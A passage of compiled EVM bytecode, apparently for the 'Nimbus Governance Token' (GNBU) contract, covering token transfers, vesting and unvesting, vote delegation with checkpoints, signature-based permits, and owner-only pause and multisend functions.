754645e5117c3a5bec8151c0726d5857980a86681565b60015460009074010000000000000000000000000000000000000000900460ff161561082057600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083203380855290835281842054825160608101909352602580845291946bffffffffffffffffffffffff9091169390926108889288926151ce908301396136de565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108d457506bffffffffffffffffffffffff82811614155b156109a85760006108fe83836040518060600160405280603d8152602001614feb603d9139613730565b73ffffffffffffffffffffffffffffffffffffffff8981166000818152600360209081526040808320948a16808452949091529081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff86161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061099e908590614cc3565b60405180910390a3505b6109b387878361379e565b5060019695505050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600460205260409020546bffffffffffffffffffffffff165b919050565b3360009081526009602052604090205460ff16610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614903565b60405180910390fd5b6000610a708260405180606001604052806022815260200161532d602291396136de565b9050610a7c8382613a05565b505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60005473ffffffffffffffffffffffffffffffffffffffff163314610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff16610b2257600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600d6020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615610bc557600080fd5b610bcf3382613bff565b50565b60015474010000000000000000000000000000000000000000900460ff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000610c69836040518060600160405280602881526020016150f9602891396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260409020549091506bffffffffffffffffffffffff9081169082161115610cb057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526031808452610d0d936bffffffffffffffffffffffff909216928592919061519d90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff1681526004602090815260409182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff9485161790556002548251606081019093526036808452610d98949190911692859290919061527990830139613730565b600280547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff929092169190911790556000805460405173ffffffffffffffffffffffffffffffffffffffff909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e22908590614cc3565b60405180910390a350600192915050565b600f6020526000908152604090205463ffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff811660009081526004602090815260408083205460059092528220546bffffffffffffffffffffffff9091169063ffffffff16610eac576bffffffffffffffffffffffff1690506109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602052604090205463ffffffff90811690821611610fc05773ffffffffffffffffffffffffffffffffffffffff8416600081815260066020908152604080832063ffffffff86168085529083528184205494845260078352818420908452825280832054815160608101909252602e8083529394610f68946bffffffffffffffffffffffff918216949290911692916150cb90830139613730565b9050610faa83826040518060400160405280601981526020017f474e42553a3a62616c616e63654f663a206f766572666c6f7700000000000000815250613cb3565b9250508080610fb890614ef5565b915050610eaf565b506bffffffffffffffffffffffff1692915050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090205463ffffffff1690565b600043821061103e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061483a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604090205463ffffffff168061107957600091505061079c565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812084916110ab600185614e3d565b63ffffffff908116825260208201929092526040016000205416116111315773ffffffffffffffffffffffffffffffffffffffff84166000908152600e60205260408120906110fb600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff16915061079c9050565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020908152604080832083805290915290205463ffffffff1683101561117957600091505061079c565b600080611187600184614e3d565b90505b8163ffffffff168163ffffffff16111561126c57600060026111ac8484614e3d565b6111b69190614db0565b6111c09083614e3d565b73ffffffffffffffffffffffffffffffffffffffff88166000908152600e6020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046bffffffffffffffffffffffff16918101919091529192508714156112405760200151945061079c9350505050565b805163ffffffff1687111561125757819350611265565b611262600183614e3d565b92505b505061118a565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020908152604080832063ffffffff909416835292905220546bffffffffffffffffffffffff6401000000009091041691505092915050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146112e857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff90811680835260046020526040909220546001546bffffffffffffffffffffffff90911692611333929091168361379e565b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35060018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60106020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461142d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff161561145557600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f474e42550000000000000000000000000000000000000000000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561153f57600080fd5b3360009081526005602052604090205463ffffffff1661158b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614ae5565b60015b3360009081526005602052604090205463ffffffff908116908216116118355733600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561160157611823565b33600090815260086020908152604080832063ffffffff8516845290915290205442101561162e57611835565b600a5433600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff16906116b5906116819042614e26565b33600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b6116bf9190614dd3565b33600090815260066020908152604080832063ffffffff871684529091529020549091506bffffffffffffffffffffffff908116908216111561172d575033600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b33600090815260076020908152604080832063ffffffff8616845282529182902054825160608101909352603680845284936117819385936bffffffffffffffffffffffff169290614fb590830139613730565b91506117c384836040518060400160405280601d81526020017f474e42553a3a756e766573743a20616464696e67206f766572666c6f77000000815250613cb3565b33600090815260076020908152604080832063ffffffff88168452909152902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091559250505b8061182d81614ef5565b91505061158e565b5033600090815260046020908152604091829020548251808401909352601d83527f474e42553a3a756e766573743a20616464696e67206f766572666c6f770000009183019190915261189a916bffffffffffffffffffffffff909116908390613cb3565b336000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff949094169390931790925590517ffa5db7be915522c6b65b302ca1c4bfbfd4f0d898d50af75e513796dc44aee52b916119169184906146c0565b60405180910390a190565b60005473ffffffffffffffffffffffffffffffffffffffff163314611972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260096020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60015460009074010000000000000000000000000000000000000000900460ff16156119f357600080fd5b6000611a1783604051806060016040528060268152602001615121602691396136de565b9050611a2433858361379e565b5060019392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff163314611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b8151835114611a8e57600080fd5b6064835110611a9c57600080fd5b6000805b8351811015611b0957838181518110611ae2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015182611af59190614d49565b915080611b0181614ebc565b915050611aa0565b506000611b2e82604051806060016040528060268152602001615121602691396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526036808452939450611b8f936bffffffffffffffffffffffff9091169285929091906152af90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb857611cf460046000888481518110611c3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16868381518110611cce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518060600160405280603681526020016152af60369139613cb3565b60046000888481518110611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550858181518110611dda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110611e89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051611e9e91906146ff565b60405180910390a380611eb081614ebc565b915050611bf1565b505092519392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260408120546bffffffffffffffffffffffff16815b600b54811015611fb957611fa58260046000600b8581548110611f45577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282810193909352604091820190205481516060810190925260268083526bffffffffffffffffffffffff909116926151f390830139613cb3565b915080611fb181614ebc565b915050611ef9565b5060025460408051606081019091526030808252611fef926bffffffffffffffffffffffff169184916150286020830139613730565b6bffffffffffffffffffffffff1691505090565b60005473ffffffffffffffffffffffffffffffffffffffff163314612054576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b600b805461206490600190614e26565b8154811061209b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260209091200154600b805473ffffffffffffffffffffffffffffffffffffffff90921691839081106120fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b80548061217b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020812082017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055909101909155600c8054916121e483614e87565b919050555050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604081205463ffffffff1680612224576000612283565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600e6020526040812090612255600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b9392505050565b600b818154811061229a57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60015474010000000000000000000000000000000000000000900460ff16156122e957600080fd5b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c61236a613dd4565b3060405160200161237e949392919061477a565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016123cf9493929190614749565b604051602081830303815290604052805190602001209050600082826040516020016123fc929190614643565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161243994939291906147ab565b6020604051602081039080840390855afa15801561245b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166124d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614bd6565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260106020526040812080549161250483614ebc565b919050558914612540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b79565b8742111561257a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614a51565b612584818b613bff565b505050505b505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146125e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b81518351146125f157600080fd5b60648351106125ff57600080fd5b6000805b835181101561266c57838181518110612645577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151826126589190614d49565b91508061266481614ebc565b915050612603565b50600061269182604051806060016040528060278152602001615058602791396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460209081526040918290205482516060810190935260308084529394506126f2936bffffffffffffffffffffffff90911692859290919061521990830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb85760006005600088848151811061279c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081819054906101000a900463ffffffff166127fa90614ef5565b91906101000a81548163ffffffff021916908363ffffffff16021790559050858281518110612852577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160066000898581518110612897577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff168252818101929092526040908101600090812063ffffffff86168252909252902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff928316179055600a5461291f911642614d49565b6008600089858151811061295c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff168152602001908152602001600020819055508682815181106129f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888581518110612aa7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051612abc91906146ff565b60405180910390a35080612acf81614ebc565b915050612754565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615612b1b57600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff861415612b5857506bffffffffffffffffffffffff612b7d565b612b7a866040518060600160405280602481526020016150a7602491396136de565b90505b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c612bfe613dd4565b30604051602001612c12949392919061477a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152815160209283012073ffffffffffffffffffffffffffffffffffffffff8c166000908152601090935290822080549193507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9186612ca383614ebc565b919050558b604051602001612cbd96959493929190614708565b60405160208183030381529060405280519060200120905060008282604051602001612cea929190614643565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051612d2794939291906147ab565b6020604051602081039080840390855afa158015612d49573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614aae565b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906148cc565b88421115612e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614c33565b84600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051612f689190614cc3565b60405180910390a3505050505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff909116600081815260066020908152604080832063ffffffff909516808452948252808320548484526007835281842086855283528184205494845260088352818420958452949091529020546bffffffffffffffffffffffff92831693919092169190565b60005473ffffffffffffffffffffffffffffffffffffffff16331461304a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60005b600b54811015613114578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106130a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415613102576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061493a565b8061310c81614ebc565b91505061304d565b50600b805460018101825560009182527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8416179055600c8054916121e483614ebc565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146131e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581169263a9059cbb9261323e9290911690869060040161469a565b602060405180830381600087803b15801561325857600080fd5b505af115801561326c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612283919061460f565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526003602090815260408083209390941682529190915220546bffffffffffffffffffffffff1690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600e60209081526000928352604080842090915290825290205463ffffffff81169064010000000090046bffffffffffffffffffffffff1682565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604081205463ffffffff1661336d575060006109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602052604090205463ffffffff908116908216116136185773ffffffffffffffffffffffffffffffffffffffff8316600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561340f57613606565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260086020908152604080832063ffffffff8516845290915290205442101561345257613618565b600a5473ffffffffffffffffffffffffffffffffffffffff8416600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff1690613505906134bb9042614e26565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b61350f9190614dd3565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260066020908152604080832063ffffffff871684529091529020546bffffffffffffffffffffffff9182169250168111156135a7575073ffffffffffffffffffffffffffffffffffffffff8316600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b73ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832063ffffffff861684529091529020546135f6906bffffffffffffffffffffffff1682614e26565b90506136028184614d49565b9250505b8061361081614ef5565b915050613370565b50919050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461366f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015473ffffffffffffffffffffffffffffffffffffffff8281169116141561369757600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000816c010000000000000000000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b509192915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061378b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b506137968385614e62565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166137eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a43906149f4565b73ffffffffffffffffffffffffffffffffffffffff8216613838576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614997565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260046020908152604091829020548251606081019093526036808452613895936bffffffffffffffffffffffff90921692859291906152af90830139613730565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260046020908152604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff968716179055928616825290829020548251606081019093526030808452613927949190911692859290919061524990830139613cb3565b73ffffffffffffffffffffffffffffffffffffffff8381166000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906139be908590614cc3565b60405180910390a373ffffffffffffffffffffffffffffffffffffffff8084166000908152600d6020526040808220548584168352912054610a7c92918216911683613dd8565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260056020526040812080548290613a3d9063ffffffff16614ef5565b825463ffffffff8083166101009490940a8481029102199091161790925573ffffffffffffffffffffffffffffffffffffffff851660009081526006602090815260408083209383529290522080546bffffffffffffffffffffffff8086167fffffffffffffffffffffffffffffffffffffffff00000000000000000000000090921691909117909155600a54919250613ad8911642614d49565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260086020908152604080832063ffffffff871684528252808320949094558154909216815260048252829020548251606081019093526022808452613b55936bffffffffffffffffffffffff909216928692919061514790830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff90811682526004602052604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559054915185821692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90613bf2908690614cc3565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8083166000818152600d6020818152604080842080546004845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946bffffffffffffffffffffffff9092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4613cad828483613dd8565b50505050565b600080613cc08486614d89565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390613d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b50949350505050565b600080613d49846040518060600160405280602181526020016152e5602191396136de565b90506bffffffffffffffffffffffff8116613d6857600091505061079c565b6000613d748483614df2565b90506bffffffffffffffffffffffff8416613d8f8383614dd3565b6bffffffffffffffffffffffff1614613796576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b1c565b4690565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613e2257506000816bffffffffffffffffffffffff16115b15610a7c5773ffffffffffffffffffffffffffffffffffffffff831615613f145773ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604081205463ffffffff169081613e7c576000613edb565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812090613ead600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613f02828560405180606001604052806028815260200161507f60289139613730565b9050613f1086848484613ff9565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615610a7c5773ffffffffffffffffffffffffffffffffffffffff82166000908152600f602052604081205463ffffffff169081613f69576000613fc8565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812090613f9a600185614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b90506000613fef828560405180606001604052806027815260200161530660279139613cb3565b9050612589858484845b600061401d4360405180606001604052806034815260200161516960349139614295565b905060008463ffffffff16118015614084575073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812063ffffffff831691614068600188614e3d565b63ffffffff908116825260208201929092526040016000205416145b1561411a5773ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020526040812083916140bb600188614e3d565b63ffffffff168152602081019190915260400160002080546bffffffffffffffffffffffff92909216640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff90921691909117905561423e565b60408051808201825263ffffffff83811682526bffffffffffffffffffffffff858116602080850191825273ffffffffffffffffffffffffffffffffffffffff8b166000908152600e82528681208b86168252909152949094209251835494517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000009095169216919091177fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff1664010000000093909116929092029190911790556141e5846001614d61565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790555b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051614286929190614cdc565b60405180910390a25050505050565b6000816401000000008410613728576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4391906147c9565b803573ffffffffffffffffffffffffffffffffffffffff811681146109f557600080fd5b600082601f83011261430b578081fd5b8135602061432061431b83614d25565b614cfb565b828152818101908583018385028701840188101561433c578586fd5b855b8581101561435a5781358452928401929084019060010161433e565b5090979650505050505050565b803560ff811681146109f557600080fd5b600060208284031215614389578081fd5b612283826142d7565b600080604083850312156143a4578081fd5b6143ad836142d7565b91506143bb602084016142d7565b90509250929050565b6000806000606084860312156143d8578081fd5b6143e1846142d7565b92506143ef602085016142d7565b9150604084013590509250925092565b600080600080600080600060e0888a031215614419578283fd5b614422886142d7565b9650614430602089016142d7565b9550604088013594506060880135935061444c60808901614367565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561447a578182fd5b614483836142d7565b9150602083013561449381614fa6565b809150509250929050565b600080604083850312156144b0578182fd5b6144b9836142d7565b946020939093013593505050565b60008060008060008060c087890312156144df578182fd5b6144e8876142d7565b9550602087013594506040870135935061450460608801614367565b92506080870135915060a087013590509295509295509295565b60008060408385031215614530578182fd5b614539836142d7565b9150602083013563ffffffff81168114614493578182fd5b60008060408385031215614563578182fd5b823567ffffffffffffffff8082111561457a578384fd5b818501915085601f83011261458d578384fd5b8135602061459d61431b83614d25565b82815281810190858301838502870184018b10156145b9578889fd5b8896505b848710156145e2576145ce816142d7565b8352600196909601959183019183016145bd565b50965050860135925050808211156145f8578283fd5b50614605858286016142fb565b9150509250929050565b600060208284031215614620578081fd5b815161228381614fa6565b60006020828403121561463c578081fd5b5035919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845273ffffffffffffffffffffffffffffffffffffffff9290921660208401526040830152606082015260800190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156147f5578581018301518582016040015282016147d9565b818111156148065783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526027908201527f474e42553a3a6765745072696f72566f7465733a206e6f74207965742064657460408201527f65726d696e656400000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601a908201527f474e42553a3a7065726d69743a20756e617574686f72697a6564000000000000604082015260600190565b60208082526016908201527f474e42553a3a766573743a206e6f742076657374657200000000000000000000604082015260600190565b6020808252602f908201527f474e42553a3a757064617465537570706f7274556e69744164643a207375707060408201527f6f727420756e6974206578697374730000000000000000000000000000000000606082015260800190565b6020808252603a908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b6020808252603c908201527f474e42553a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a207369676e6174757265206560408201527f78706972656400000000000000000000000000000000000000000000000000